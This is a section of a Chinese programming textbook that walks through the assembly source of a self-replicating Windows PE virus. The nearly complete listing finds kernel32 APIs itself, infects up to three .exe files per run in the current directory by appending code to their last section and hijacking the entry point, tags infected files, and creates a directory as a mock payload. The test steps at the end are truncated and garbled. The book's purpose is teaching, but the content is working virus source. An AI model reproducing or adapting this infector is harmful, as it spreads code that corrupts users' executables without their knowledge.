23.2 PE病毒补丁程序解析

本节的重点是分析PE病毒的补丁程序。在第一次运行时,将使用第17章介绍的补丁工具bind.asm实施附加病毒代码;当补丁程序被附加进目标PE文件后,再运行目标PE文件,由打了补丁的目标PE文件负责病毒的传播。

重要提示 以下将要叙述的这个程序已经具备了基本的传播特性,所以大家在测试时一定不能在系统目录或其他软件目录下运行。请在磁盘上新建一个目录,然后复制一些系统可执行程序进行测试,完成测试后删除即可。本程序在Windows XP SP3下测试通过。

23.2.1 病毒特征

首先来看PE病毒程序应具备的三个基本属性。

传统意义上的计算机病毒一般具有以下三个基本特征:破坏性、传播性、隐蔽性。这三个基本特征会在分析病毒程序的编写时逐一实现。

1.隐蔽性

本实例的病毒补丁程序寄生在正常的可执行文件中,在实施模拟破坏时(在磁盘上创建一个新目录)用户根本觉察不到。补丁程序在实施传播时,通过向进程所在当前目录中的PE文件打补丁的方式,实现病毒代码的传播,用户察觉不到。所以对用户来说,补丁程序的运行是透明的,具备隐蔽特性。

2.传播性

本实例的病毒补丁程序通过搜索目标PE目录下的所有可执行文件,对这些可执行文件进行补丁以实现传播。与前几章介绍的补丁工具bind.exe不同,本实例打补丁的代码已经附加进了PE文件里,不需要用户的参与,这意味着补丁程序本身具备补丁工具的功能。出于教学的目的,我们只是在目标PE文件所在的当前路径里进行传播;在现实生活中,大部分的病毒程序是不会放过Windows系统目录和System32目录的。真实的病毒甚至还会通过网络端口、电子邮件等更广的途径实现对病毒代码的传播。

3.破坏性

本实例演示的病毒补丁程序只是象征性地在C盘根目录下建立了BBBN子文件夹,这只是模拟破坏模块。真实的病毒模块中的破坏代码千奇百怪:有的会显示一些提示信息,扰乱正常的屏幕显示;有的会尝试关闭一些启动的进程;有的会删除硬盘上的文件;有的甚至还尝试做格式化硬盘的操作等。

需要注意,与以前的跳转代码不同的是,本实例补丁程序中使用了另外一种原始入口跳转方法:

mov eax,12345678h
org $-4
OldEIP   dd   00001000h
add eax,12345678h
org $-4
ModBase dd   00400000h
jmp eax

以上代码使用了一个汇编语言的小技巧,通过伪指令org $-4实现指令重叠。以上语句等价于:

mov eax,OldEIP
add eax,ModBase
jmp eax

这种指令跳转的方式在本书22.2.3节中也有过介绍。

23.2.2 补丁程序的源代码分析

本PE病毒补丁程序完整的源代码见代码清单23-2,共1164行。考虑到篇幅和学习方便,此处省略了一些常规的调用函数。

代码清单23-2 PE病毒补丁程序(chapter23\patch.asm)

1    ;-------------------------
2    ; PE病毒补丁程序
3    ; 本段代码使用了将代码添加到最后一节的方法
4    ; 程序功能:实现创建目录的方法,具备传播功能
5    ; 作者:戚利
6    ; 开发日期:2010.7.7
7    ;-------------------------
8
9         .386
10         .model flat,stdcall
11         option casemap:none
12
13    include     windows.inc
14
15
16    VIR_TOTAL_SIZE         equ   offset vir_end-offset vir_start
17    INFECTFILES      equ   03h                       ;感染文件的个数
18    DEFAULT_KERNEL_BASE     equ   07C800000h ;kernel32的默认基地址
19    DEFAULT_KERNEL_BASEwNT        equ   077F00000h
20
21

常量VIR_TOTAL_SIZE是病毒代码的总长度,包含数据和代码的长度;在对正常EXE文件打补丁的时候,该长度为EXE文件增加的长度。其计算方法为以下两个标号地址的差:vir_end和vir_start。

常量INFECTFILES是每次运行病毒时感染的文件个数。因为补丁程序不可能让病毒一次运行就把当前目录下所有的文件全部感染,在一个有上百或上千个EXE文件的目录中,这样做很容易被发现。每次感染文件个数一旦超过这个值,病毒代码则选择静默,不感染任何EXE文件,直到下一次运行才被激活。

常量DEFAULT_KERNEL_BASE记录了在Windows XP SP3中kernel32.dll被装入的基地址,不过这个值在整个程序编写过程中会自动获取,并且通常获取到的结果即是正确的结果。所以,你可以把这个值看成是一个摆设。同理,常数DEFAULT_KERNEL_BASEwNT则记录了NT下的kernel32.dll的基地址。

22    _ProtoGetProcAddress   typedef proto :dword,:dword
23    _ProtoLoadLibrary      typedef proto :dword
24    _ProtoCreateDir         typedef proto :dword,:dword

以上三行是补丁代码里用到的主要API函数的声明。本书第11章讲过,为了方便代码嵌入,必须在代码中将导入表去掉,由补丁程序自己加载它所需要调用的函数。在这里,补丁程序用最简单的CreateDirectoryA函数代替所有的病毒破坏代码。

真正的病毒用到的函数可能成百上千,所以,出现在这里的声明会比现在看到的更长一些。

25
26
27    _ApiGetProcAddress     typedef ptr _ProtoGetProcAddress
28    _ApiLoadLibrary         typedef ptr _ProtoLoadLibrary
29    _ApiCreateDir           typedef ptr _ProtoCreateDir
30

以上三行是函数类型声明。这个声明是为了方便在数据部分定义函数变量。

31         .code
32    ;被添加到目标文件的代码从这里开始,到vir_end处结束
33    vir_start equ this byte
34
35    jmp _NewEntry
36
37

行31是标识整个补丁程序的代码段。行33定义了标号vir_start的值,行35通过一个简单的跳转指令直接跳过在代码段中定义的数据。很明显这种结构符合本书13.3.1节介绍的嵌入补丁框架的结构。

1.变量定义

从38行开始,定义该补丁程序中用到的所有变量的声明和初始化。这些变量包括基于全局的函数名列表、函数地址列表、PE病毒程序版本标识、感染文件数量上限、补丁工具用到的参数等。

38    szGetProcAddr   db   'GetProcAddress',0
39    szLoadLib        db   'LoadLibraryA',0
40    szCreateDir     db   'CreateDirectoryA',0    ;该方法在kernel32.dll中
41    szDir             db   'C:\\BBBN',0              ;要创建的目录
42
43

因为补丁程序中用到的三个函数都在kernel32.dll中,而kernel32.dll在每个运行的EXE程序中都被默认装载,所以,这里定义的函数声明其实并不完整。真正可能的定义会像下面这样,每个函数所在的动态链接库必须被声明,并事先加载到虚拟内存空间中。

如果以下这些内容被翻译成字节码,大家是不是感觉很熟悉,回顾PE文件导入表字段IMAGE_IMPORT_DESCRIPTOR. OriginalFirstThunk指向的那一部分,是不是很类似?

szTranslateAcceleratorA   db 'TranslateAcceleratorA',0
szTranslateMessage db 'TranslateMessage',0
szUpdateWindow      db 'UpdateWindow',0
szUser32           db 'user32.dll',0,0
szExitProcess        db 'ExitProcess',0
szGetModuleHandleA db 'GetModuleHandleA',0
szRtlZeroMemory     db 'RtlZeroMemory',0
szlstrcmpA           db 'lstrcmpA',0
szKernel32         db 'kernel32.dll',0,0

接着看代码:

44    mark_           db   '[VirPE.Qili.v1.00]',0 ;病毒标识
45                     db   '(c)2010 Qili ShanDong',0
46    EXE_MASK        db   '*.exe',0
47    infections     dd  00000000h  ;感染文件的个数,超过指定个数即退出
48    kernel          dd   DEFAULT_KERNEL_BASE
49

mark_是病毒编写者的个人喜好,有的mark是用文字来描述,有的则使用图标来展示。有的人可能是为了出名,就像在书籍里声明“版权所有,侵权必究”那样;而笔者认为它是一个版本标识,负责记录该PE病毒的版本信息。

变量infections是已感染EXE文件个数的记录,每感染一次即和常量INFECTFILES进行比较,超出则静默,不再执行感染操作。

变量kernel是存放kernel32.dll基地址的变量,如果获取基地址失败,则被赋值为常量DEFAULT_KERNEL_BASE或DEFAULT_KERNEL_BASEwNT。

50    szFunNames                equ this byte               ;函数名列表
51    szFindFirstFileA         db 'FindFirstFileA',0
52    szFindNextFileA          db 'FindNextFileA',0
53    szFindClose               db 'FindClose',0
54    szCreateFileA             db 'CreateFileA',0
55    szSetFilePointer         db 'SetFilePointer',0
56    szSetFileAttributesA    db 'SetFileAttributesA',0
57    szCloseHandle             db 'CloseHandle',0
58    szGetCurrentDirectoryA db 'GetCurrentDirectoryA',0
59    szSetCurrentDirectoryA db 'SetCurrentDirectoryA',0
60    szGetWindowsDirectoryA db 'GetWindowsDirectoryA',0
61    szGetSystemDirectoryA   db 'GetSystemDirectoryA',0
62    szCreateFileMappingA    db 'CreateFileMappingA',0
63    szMapViewOfFile          db 'MapViewOfFile',0
64    szUnmapViewOfFile        db 'UnmapViewOfFile',0
65    szSetEndOfFile           db 'SetEndOfFile',0
66                                 db 0bbh                   ;结束符
67

传播病毒时用到的函数名列表如上所示,它们是以一个0bbh字节(保证该字节和函数名中定义的任何一个字符都不相等)结尾,主要目的是通过设置一个标志字节,可以有效地利用循环,避免逐个函数处理,以提高编程效率。当碰到第一个字节为0bbh时,循环即结束。这种方法可以让代码变得更短,同理,行109的函数地址也是如此定义。

68                                  dd   12345678h
69    newSize                     dd   00000000h
70    searchHandle               dd   00000000h
71    fileHandle                   dd   00000000h
72    mapHandle                   dd   00000000h
73    mapAddress                  dd   00000000h
74    addressTableVA             dd   00000000h
75    nameTableVA                dd   00000000h
76    ordinalTableVA             dd   78563412h
77    dwPatchCodeSize           dd ?    ;补丁程序大小
78    dwNewFileSize              dd ?    ;新文件大小=目标文件大小+补丁程序大小
79    dwNewPatchCodeSize        dd ?    ;补丁程序按8位对齐后的大小
80    dwPatchCodeSegStart      dd ?    ;补丁程序所在节在文件中的起始地址
81    dwSectionCount             dd ?    ;目标文件节的个数
82    dwSections                  dd ?    ;所有节表大小
83    dwNewHeaders               dd ?    ;新文件头的大小
84    dwFileAlign                dd ?    ;文件对齐粒度
85    dwFirstSectionStart      dd ?    ;目标文件第一节距离文件起始的偏移量
86    dwOff                        dd ?    ;新文件比原来多出来的部分
87    dwValidHeadSize           dd ?    ;目标文件PE头的有效数据长度
88    dwHeaderSize               dd ?    ;文件头长度
89    dwBlock1                    dd ?    ;原PE头的有效数据长度+补丁程序的有效数据长度
90    dwPE_SECTIONSize          dd ?    ;PE头+节表大小
91    dwSectionsLeft             dd ?    ;目标文件所有节数据的大小
92    dwNewSectionSize          dd ?    ;新增加节对齐后的尺寸
93    dwNewSectionOff           dd ?    ;新增加节项描述在文件中的偏移
94    dwDstSizeOfImage          dd ?    ;目标文件内存映像的大小
95    dwNewSizeOfImage          dd ?    ;新增加的节在内存映像中的大小
96    dwNewFileAlignSize        dd ?    ;文件对齐后的大小
97    dwSectionsAlignLeft      dd ?    ;目标文件节在文件中对齐后的大小
98    dwLastSectionAlignSize  dd ?    ;目标文件最后一节对齐后的最终大小,包含代码
99    dwLastSectionStart        dd ?    ;目标文件最后一节在文件中的偏移
100    dwSectionAlign           dd ?    ;节对齐粒度
101    dwVirtualAddress         dd ?    ;最后一节的起始RVA
102    dwEIPOff                   dd ?    ;新eip指针和旧eip指针的距离
103
104
105
106    dwDstEntryPoint          dd ?    ;旧的入口地址
107    dwNewEntryPoint          dd ?    ;新的入口地址
108

以上定义的参数变量是供正常EXE文件打补丁用的。补丁程序里的补丁工具部分将采用本书第17章介绍的最简单的方法,即将补丁程序添加到最后一节。如果你不熟悉这些变量,请参考本书第17章的内容。

109    lpFunAddress             equ this byte             ;函数地址列表
110    _FindFirstFileA         dd   00000000h
111    _FindNextFileA          dd   00000000h
112    _FindClose               dd   00000000h
113    _CreateFileA             dd   00000000h
114    _SetFilePointer         dd   00000000h
115    _SetFileAttributesA    dd   00000000h
116    _CloseHandle             dd   00000000h
117    _GetCurrentDirectoryA dd   00000000h
118    _SetCurrentDirectoryA dd   00000000h
119    _GetWindowsDirectoryA dd   00000000h
120    _GetSystemDirectoryA   dd   00000000h
121    _CreateFileMappingA    dd   00000000h
122    _MapViewOfFile          dd   00000000h
123    _UnmapViewOfFile        dd   00000000h
124    _SetEndOfFile           dd   00000000h
125

函数地址列表(类似于导入表的IAT部分)不需要有任何结束标识,也不需要有个数声明。因为补丁程序可以通过函数名获取循环的次数,而每个函数地址都是双字节的。补丁程序可以通过很简单的算法定位到指定序号的函数地址变量所在的位置。

126    MAX_PATH           equ 260
127
128
129    WIN32_FIND_DATA1           equ this byte
130     WFD_dwFileAttributes     dd   ?
131     WFD_ftCreationTime        FILETIME <?>
132     WFD_ftLastAccessTime     FILETIME <?>
133     WFD_ftLastWriteTime      FILETIME <?>
134     WFD_nFileSizeHigh         dd   ?
135     WFD_nFileSizeLow          dd   ?
136     WFD_dwReserved0           dd   ?
137     WFD_dwReserved1           dd   ?
138     WFD_szFileName             db   MAX_PATH dup(?)
139     WFD_szAlternateFileName db 13 dup(?)
140                                   db 03 dup (?)
141    directories                  equ this byte
142    OriginDir                    db    7Fh dup (0)              ;应用程序所在的目录
143
144    dwDirectoryCount           equ (($-directories)/7Fh)
145    mirrormirror                db   dwDirectoryCount         ;目录个数
146
147
148

以上定义了查找文件时用到的数据结构。其中directories是病毒要感染的目录列表。由于补丁程序只感染当前目录,所以目录个数变量dwDirectoryCount被设置为1,其设置方法如行144所示。如果还有其他的目录需要感染,那么在这里加上目录的定义即可。记得每个目录的绝对路径必须凑齐7Fh字节,否则计算出来的dwDirectoryCount就是个错误的数字。如下所示,可以定义第二个目录secondDir:

directories                equ this byte
OriginDir                   db    7Fh dup (0)              ;应用程序所在的目录
secondDir                   db    'c:\aa',0,79 dup(0)    ;添加的第二个目录
dwDirectoryCount          equ (($-directories)/7Fh)
mirrormirror               db   dwDirectoryCount         ;目录个数

2.私有函数定义

为了实施病毒传播,以及实现病毒的隐蔽特性,将PE病毒补丁代码附加到要感染的对象中,需要定义很多辅助函数,这些函数是内部私有的,由主程序调用。

下列内部私有函数大部分都是以前介绍过的,以下内容省略许多。

149    ;-----------------------------
150    ; 错误 Handler
152    _SEHHandler proc _lpException,_lpSEH,_lpContext,_lpDispatcher
170    ;-----------------------------
171    ; 对齐
176    _align         proc
189    ;------------------------------------
190    ; 根据kernel32.dll中的一个地址获取它的基地址
192    _getKernelBase   proc _dwKernelRetAddress
219    ;-------------------------------
220    ; 获取指定字符串的API函数的调用地址
224    _getApi proc _hModule,_lpApi
292    ;---------------------
293    ; 获取所有的API入口地址
294    ;---------------------
295    _getAllAPIs              proc
296          pushad
297          call @F    ; 免去重定位
298    @@:
299          pop ebx
300          sub ebx,offset @B    ;求定位基地址ebx
301          mov ebp,ebx
302
303          .repeat
304             push esi
305             mov eax,[ebx+kernel]
306             push eax
307             call _getApi
308             mov dword ptr [edi],eax
309             ;修改esi的值指向下一个函数名
310             mov al,byte ptr [esi]
311             .break .if al==0BBh
312             .repeat
313               mov al,byte ptr [esi]
314               .if al==0
315                  inc esi
316                  .break
317               .endif
318               inc esi
319             .until FALSE
320
321             ;修改edi的值指向下一个地址
322             add edi,4
323          .until FALSE
324          popad
325          ret
326    _getAllAPIs              endp
327
328
329    ;----------------------------------------
330    ; 获取节的个数
332    _getSectionCount   proc _lpFileHead
347    ;----------------------------------------
348    ; 获取文件的对齐粒度
350    getSectionAlign   proc _lpFileHead
367    ;---------------------
368    ; 将文件偏移转换为内存偏移量RVA
372    _OffsetToRVA proc _lpFileHead,_dwOffset
408    ;---------------------
409    ; 将内存偏移量RVA转换为文件偏移
411    _RVAToOffset proc _lpFileHead,_dwRVA
447    ;----------------------------------------
448    ; 获取新节的RVA
450    _getNewSectionRVA   proc _lpFileHead
493    ;------------------------
494    ; 获取RVA所在节的名称
496    _getRVASectionName   proc _lpFileHead,_dwRVA
529    ;------------------------
530    ; 获取RVA所在节的文件起始地址
532    _getRVASectionStart   proc _lpFileHead,_dwRVA
565    ;------------------------
566    ; 获取RVA所在节的原始大小
568    _getRVASectionSize   proc _lpFileHead,_dwRVA
601    ;-------------------
602    ; 获取代码所在节的大小
608    _getCodeSegSize proc _lpHeader
625    ;-------------------
626    ; 获取补丁程序所在节的大小
630    _getCodeSegStart proc _lpHeader
646    ;-------------------------
647    ; 获取代码入口
649    _getEntryPoint   proc   _lpFile
669    ;------------------------
670    ; 获取RVA所在节在文件中对齐以后的大小
672    _getRVASectionRawSize   proc _lpFileHead,_dwRVA
705    _getRVACount   proc _lpFileHead
719    ;------------------------------------
720    ; 获取最后一节在文件的偏移
722    _getLastSectionStart proc _lpFileHead
744    _getFileAlign   proc _lpFileHead
760    ;-----------------------------
761    ; 截文件
762    ; 入口:ecx—要截取的文件大小
763    ; 出口:无
764    ;-----------------------------
765    truncFile         proc
766         xor eax,eax
767         push eax
768         push eax
769         push ecx
770         push dword ptr [ebx+fileHandle]
771         call [ebx+_SetFilePointer]
772         push dword ptr [ebx+fileHandle]
773         call [ebx+_SetEndOfFile]
774         ret
775    truncFile         endp
776
777    ;------------------------------
778    ; 打开文件
779    ; 入口:esi—指向要打开的文件的名字
780    ; 出口:eax—如果成功是文件句柄,失败则是-1
781    ;------------------------------
782    openFile          proc
783         xor eax,eax
784         push eax
785         push eax
786         push 0000003h
787         push eax
788         inc eax
789         push eax
790         push 80000000h or 40000000h
791         push esi
792         call [ebx+_CreateFileA]
793         ret
794    openFile          endp
795
796    ;-----------------------------------
797    ; 创建映射
798    ; 入口:ecx—映射大小
799    ; 出口:eax—成功为映射句柄
800    ;-----------------------------------
801    createMap        proc
802         xor eax,eax
803         push eax
804         push ecx
805         push eax
806         push 000000004h
807         push eax
808         push dword ptr [ebx+fileHandle]
809         call [ebx+_CreateFileMappingA]
810         ret
811    createMap        endp
812
813    ;-------------------------------------
814    ; 映射文件到进程地址空间
815    ; 入口:ecx—要映射的尺寸
816    ; 出口:eax—成功则返回地址
817    ;-------------------------------------
818    mapFile          proc
819         xor eax,eax
820         push ecx
821         push eax
822         push eax
823         push 00000002h
824         push dword ptr [ebx+mapHandle]
825         call [ebx+_MapViewOfFile]
826         ret
827    mapFile          endp
828

以上代码虽然很多,但都很简单,而且大部分的函数功能在第17章中都介绍过。

3.感染文件

接下来的函数你看起来可能很眼熟,这是PE病毒具备传播性的最核心的部分,即向正常的EXE文件中写入病毒代码。写入方法和向PE程序最后一节写入代码的方法几乎是一模一样的,正是在这一部分,PE病毒补丁代码才具备了补丁工具的功能。因为注释比较详细,相信你也可以很容易看懂。

829    ;---------------------------------
830    ;    指定感染文件
831    ;---------------------------------
832    _infect proc
833        ;获取文件名,清除文件属性
834         lea esi,[ebx+WFD_szFileName]
835         push 80h
836         push esi
837         call [ebx+_SetFileAttributesA]
838         call openFile
839        inc eax  ;如果eax=-1,则打开文件出错
840         jz cannotOpen
841         dec eax
842         mov dword ptr [ebx+fileHandle],eax ;存储文件句柄
843         mov ecx,dword ptr [ebx+WFD_nFileSizeLow]
844         call createMap    ;创建映射文件
845         or eax,eax
846         jz closeFile
847         mov dword ptr [ebx+mapHandle],eax
848         ;映射文件到内存
849         mov ecx,dword ptr [ebx+WFD_nFileSizeLow]
850         call mapFile
851         or eax,eax
852         jz unMapFile
853         mov dword ptr [ebx+mapAddress],eax

行833~853打开目标PE文件,将文件属性设置为一般文件,并实施内存映射。

854
855
856
857        ;开始处理文件,判断文件是否为合法PE文件
858         mov esi,[eax+3ch]
859         add esi,eax
860        cmp dword ptr [esi],"EP"          ;比较是否为“PE”
861         jnz noInfect
862
863         push esi
864         mov esi,dword ptr [ebx+mapAddress]
865         add esi,4
866         mov eax,dword ptr [esi]
867         pop esi
868
869         cmp eax,"iliq"   ;判断是否被感染过
870         jz noInfect

以上代码判断打开的文件是否为PE文件,如果是,则继续通过标志位判断是否已经被感染过;如果已经被感染过,则不再感染。标志位位于PE文件开始的第4个字节处,下面列出了一个被感染的PE文件的头部信息:

00000000  4D 5A 90 00 71 69 6C 69 04 00 00 00 FF FF 00 00   MZ..iliq........
00000010   B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ........@.......

如上所示,文件头开始的第4个字节处,存储了“iliq”标志,补丁程序在打补丁前会首先判断此处是否已存在该标志,如果存在则略过不再对PE文件执行打补丁操作,这样可以避免对一个已经打过补丁的PE文件进行重复的多次补丁过程。

继续往下看,以下是将病毒代码附加到其他PE文件的部分,附加位置是最后一节。

871
872         push dword ptr [esi+3ch]          ;保存文件对齐
873         pop ecx                               ;恢复文件对齐
874
875
876         mov eax,VIR_TOTAL_SIZE
877         mov dword ptr [ebx+dwPatchCodeSize],eax
878
879
880         ;将文件大小按照文件对齐粒度对齐
881         invoke getFileAlign,[ebx+mapAddress]
882         mov dword ptr [ebx+dwFileAlign],eax
883         xchg eax,ecx
884         mov eax,dword ptr [ebx+WFD_nFileSizeLow]
885         invoke _align
886         mov dword ptr [ebx+dwNewFileAlignSize],eax
887
888         ;求最后一节在文件中的偏移
889         invoke getLastSectionStart,[ebx+mapAddress]
890         mov dword ptr [ebx+dwLastSectionStart],eax
891
892         ;求最后一节的大小
893         mov eax,dword ptr [ebx+dwNewFileAlignSize]
894         sub eax,dword ptr [ebx+dwLastSectionStart]
895         add eax,dword ptr [ebx+dwPatchCodeSize]
896         ;将该值按照文件对齐粒度对齐
897         mov ecx,dword ptr [ebx+dwFileAlign]
898         invoke _align
899         mov dword ptr [ebx+dwLastSectionAlignSize],eax
900
901         ;求新文件大小
902         mov eax,dword ptr [ebx+dwLastSectionStart]
903         add eax,dword ptr [ebx+dwLastSectionAlignSize]
904         mov dword ptr [ebx+dwNewFileSize],eax
905
906         ;关闭内存映射
907         pushad
908         push dword ptr [ebx+mapAddress]
909         call [ebx+_UnmapViewOfFile]
910         push dword ptr [ebx+mapHandle]
911         call [ebx+_CloseHandle]
912         popad
913
914
915         ;用新尺寸重新映射文件
916         mov dword ptr [ebx+newSize],eax
917         xchg ecx,eax
918         call createMap
919         or eax,eax
920         jz closeFile
921         mov dword ptr [ebx+mapHandle],eax
922         mov ecx,dword ptr [ebx+newSize]
923         call mapFile
924         or eax,eax
925         jz unMapFile
926         mov dword ptr [ebx+mapAddress],eax
927
928         ;修正参数部分
929
930         ;计算SizeOfRawData
931         invoke _getRVACount,[ebx+mapAddress]
932         xor edx,edx
933         dec eax
934         mov ecx,sizeof IMAGE_SECTION_HEADER
935         mul ecx
936
937         mov edi,dword ptr [ebx+mapAddress]
938         assume edi:ptr IMAGE_DOS_HEADER
939         add edi,[edi].e_lfanew
940         mov esi,edi
941         assume esi:ptr IMAGE_NT_HEADERS
942         add edi,sizeof IMAGE_NT_HEADERS
943         add edi,eax
944         assume edi:ptr IMAGE_SECTION_HEADER
945         mov eax,dword ptr [ebx+dwLastSectionAlignSize]
946         mov [edi].SizeOfRawData,eax
947
948         ;计算Misc值
949         invoke getSectionAlign,[ebx+mapAddress]
950         mov dword ptr [ebx+dwSectionAlign],eax
951         xchg eax,ecx
952         mov eax,dword ptr [ebx+dwLastSectionAlignSize]
953         invoke _align
954         mov [edi].Misc,eax
955
956        ;修改标志,使节可读、可写、可执行
957         or dword ptr [edi].Characteristics,0A0000020h;更改节的标志
958         push esi
959         mov esi,dword ptr [ebx+mapAddress]
960         add esi,4
961        mov dword ptr [esi],"iliq"  ; 设置病毒标志,标明已感染
962         pop esi
963
964         ;计算VirtualAddress
965         mov eax,[edi].VirtualAddress   ;获取原始RVA值
966         mov dword ptr [ebx+dwVirtualAddress],eax
967
968         ;修正函数入口地址
969         mov eax,dword ptr [ebx+dwNewFileAlignSize]
970         invoke _OffsetToRVA,[ebx+mapAddress],eax
971         mov dword ptr [ebx+dwNewEntryPoint],eax
972         mov edi,dword ptr [ebx+mapAddress]
973         assume edi:ptr IMAGE_DOS_HEADER
974         add edi,[edi].e_lfanew
975         assume edi:ptr IMAGE_NT_HEADERS
976         mov eax,[edi].OptionalHeader.AddressOfEntryPoint
977         mov dword ptr [ebx+dwDstEntryPoint],eax
978         mov eax,dword ptr [ebx+dwNewEntryPoint]
979         mov [edi].OptionalHeader.AddressOfEntryPoint,eax
980
981         mov eax,dword ptr [ebx+dwDstEntryPoint]
982         sub eax,dword ptr [ebx+dwNewEntryPoint]
983         mov dword ptr [ebx+dwEIPOff],eax
984
985         ;修正SizeOfImage
986         mov eax,dword ptr [ebx+dwLastSectionAlignSize]
987         mov ecx,dword ptr [ebx+dwSectionAlign]
988         invoke _align
989         ;获取最后一个节的VirtualAddress
990         add eax,dword ptr [ebx+dwVirtualAddress]
991         mov [edi].OptionalHeader.SizeOfImage,eax
992
993         ;复制补丁程序
994         lea esi,[ebx+vir_start]
995         mov edi,dword ptr [ebx+mapAddress]
996         add edi,dword ptr [ebx+dwNewFileAlignSize]
997
998         mov ecx,dword ptr [ebx+dwPatchCodeSize]
999         rep movsb
1000
1001         ;修正补丁程序中的E9指令后的操作数
1002         mov eax,dword ptr [ebx+mapAddress]
1003         add eax,dword ptr [ebx+dwNewFileAlignSize]
1004         add eax,dword ptr [ebx+dwPatchCodeSize]
1005
1006
1007         sub eax,5    ;eax指向了E9的操作数
1008         mov edi,eax
1009
1010         sub eax,dword ptr [ebx+mapAddress]
1011         add eax,4
1012
1013         nop
1014         mov ecx,dword ptr [ebx+dwDstEntryPoint]
1015         invoke _OffsetToRVA,[ebx+mapAddress],eax
1016         sub ecx,eax
1017         mov dword ptr [edi],ecx
1018        inc byte ptr [ebx+infections]    ;增加计数,如果超过指定个数,则返回
1019         jmp unMapFile                        ;将新增加的模块追加到文件尾部
1020
1021    noInfect:
1022        ;如果修改失败,则恢复原文件,并将计数减1
1023         dec byte ptr [ebx+infections]
1024         mov ecx,dword ptr [ebx+WFD_nFileSizeLow]
1025         call truncFile
1026    unMapFile:
1027         push dword ptr [ebx+mapAddress]
1028         call [ebx+_UnmapViewOfFile]
1029    closeMap:
1030         push dword ptr [ebx+mapHandle]
1031         call [ebx+_CloseHandle]
1032    closeFile:
1033         push dword ptr [ebx+fileHandle]
1034         call [ebx+_CloseHandle]
1035    cannotOpen:
1036         ;设置文件原先的属性
1037         push dword ptr [ebx+WFD_dwFileAttributes]
1038         lea eax,[ebx+WFD_szFileName]
1039         push eax
1040         call [ebx+_SetFileAttributesA]
1041
1042         ret
1043    _infect     endp
1044

以下函数是一些辅助函数,因注释比较明晰,就不再详细解释。

1045    ;-----------------------------
1046    ; 对指定个数的文件进行感染
1047    ;-----------------------------
1048    _infectIt   proc
1049         ;首先找到第一个符合条件的文件
1050         and dword ptr [ebx+infections],00000000h    ;计数清零
1051         lea eax,[ebx+offset WIN32_FIND_DATA1]
1052         push eax
1053         lea eax,[ebx+offset EXE_MASK]
1054         push eax
1055         call [ebx+_FindFirstFileA]
1056
1057        inc eax    ;如果没有,返回-1,则退出
1058         jz failInfect
1059         dec eax
1060         mov dword ptr [ebx+searchHandle],eax   ;存储搜索文件句柄
1061    _1:
1062         call _infect
1063        cmp byte ptr [ebx+infections],INFECTFILES    ;处理超过指定个数文件,则退出
1064         jz failInfect
1065    _2:
1066        ;清空上一次填充的文件名内容,为下一步做准备
1067         lea edi,[ebx+WFD_szFileName]
1068         mov ecx,MAX_PATH
1069         xor al,al
1070         rep stosb
1071         lea eax,[ebx+offset WIN32_FIND_DATA1]
1072         push eax
1073         push dword ptr [ebx+searchHandle]
1074         ;找下一个符合条件的文件
1075         call [ebx+_FindNextFileA]
1076         or eax,eax   ;找到下一个文件则转到_1继续处理
1077         jnz _1
1078    failInfect:
1079         ret
1080    _infectIt endp
1081
1082    _infectItAll proc
1083         ;指向第一个目录
1084         lea edi,[ebx+directories]
1085         push edi
1086         ;处理当前目录中的EXE文件
1087         call [ebx+_SetCurrentDirectoryA]
1088         call _infectIt
1089         ret
1090    _infectItAll   endp
1091
1092
1093

4.主函数

实现补丁程序功能模块之前,要做以下工作,这些工作被封装在一个名为_start的子程序里。该子程序首先获取kernel32.dll的基地址,然后获取两个重要函数的地址,并通过函数_getAllAPIs将数据定义中所有用到的函数所在的内存地址进行初始化。最后调用函数_infectItAll实施感染。

1094    _start   proc
1095         local hKernel32Base:dword                  ;存放kernel32.dll基地址
1096         local hUser32Base:dword
1097
1098         local _getProcAddress:_ApiGetProcAddress   ;定义函数
1099         local _loadLibrary:_ApiLoadLibrary
1100         local _createDir:_ApiCreateDir
1101
1102         pushad
1103
1104         ;获取kernel32.dll的基地址
1105         invoke _getKernelBase,eax
1106         mov hKernel32Base,eax
1107         mov dword ptr [ebx+kernel],eax
1108
1109         ;从基地址出发搜索GetProcAddress函数的首址
1110         mov eax,offset szGetProcAddr
1111         add eax,ebx
1112
1113         mov edi,hKernel32Base
1114         mov ecx,edi
1115
1116         invoke _getApi,ecx,eax
1117         mov _getProcAddress,eax    ;为函数引用赋值 GetProcAddress
1118
1119         ;使用GetProcAddress函数的首址
          ;传入两个参数调用GetProcAddress函数,获得CreateDirA的首址
1120         mov eax,offset szCreateDir
1121         add eax,ebx
1122         invoke _getProcAddress,hKernel32Base,eax
1123         mov _createDir,eax
1124
1125        ;调用创建目录的函数(病毒的破坏性)
1126       mov eax,offset szDir
1127       add eax,ebx
1128       invoke _createDir,eax,NULL
1129
1130         ;开始我们的快乐之旅途
1131
1132       lea edi,[ebx+lpFunAddress]
1133       lea esi,[ebx+szFunNames]
1134       ;从kernel的导出表获取所有相关API的入口地址
1135       call _getAllAPIs
1136
1137         ;获取当前目录
1138       lea edi,[ebx+OriginDir]
1139       push edi
1140       push 7Fh
1141       call [ebx+_GetCurrentDirectoryA]#
1142       ;感染当前目录的所有EXE文件
1143       call _infectItAll
1144
1145         popad
1146         ret
1147    _start   endp
1148
1149    ; EXE文件新的入口地址
1150
1151    _NewEntry:
1152         ;获取当前函数的栈顶值
1153         mov eax,dword ptr [esp]
1154         push eax
1155         call @F    ; 免去重定位
1156    @@:
1157         pop ebx
1158         sub ebx,offset @B
1159         pop eax
1160         invoke _start
1161         jmpToStart    db 0E9h,0F0h,0FFh,0FFh,0FFh
1162         ret
1163    vir_end equ this byte
1164         end _NewEntry

代码行1151~1162是整个补丁程序最开始要做的事情。行1151的标号_NewEntry是补丁代码的入口起点,也是被补丁后程序的新的入口地址。这部分代码首先通过重定位技术获取修正绝对地址用的寄存器ebx,然后调用_start子程序完成补丁功能。行1161是嵌入补丁框架中的跳转指令E9及其操作数。到此为止,该病毒程序的补丁代码就分析完了。

23.2.3 病毒传播测试

测试前需要制作一个带有病毒代码的PE文件,使用第17章中的补丁程序bind.exe将本章介绍的病毒补丁程序附加到某个系统PE文件(比如notepad.exe)中。附加了补丁程序以后的目标文件C:\bindC.exe即为携带了病毒的PE文件。下面将使用该文件对另外多个正常的PE文件进行测试,病毒的传播测试步骤如下。

---------------------------------start

感染PE程序

生成bind23.exe

点击bind23.exe感觉目录下的所有exe

-------------------------------end

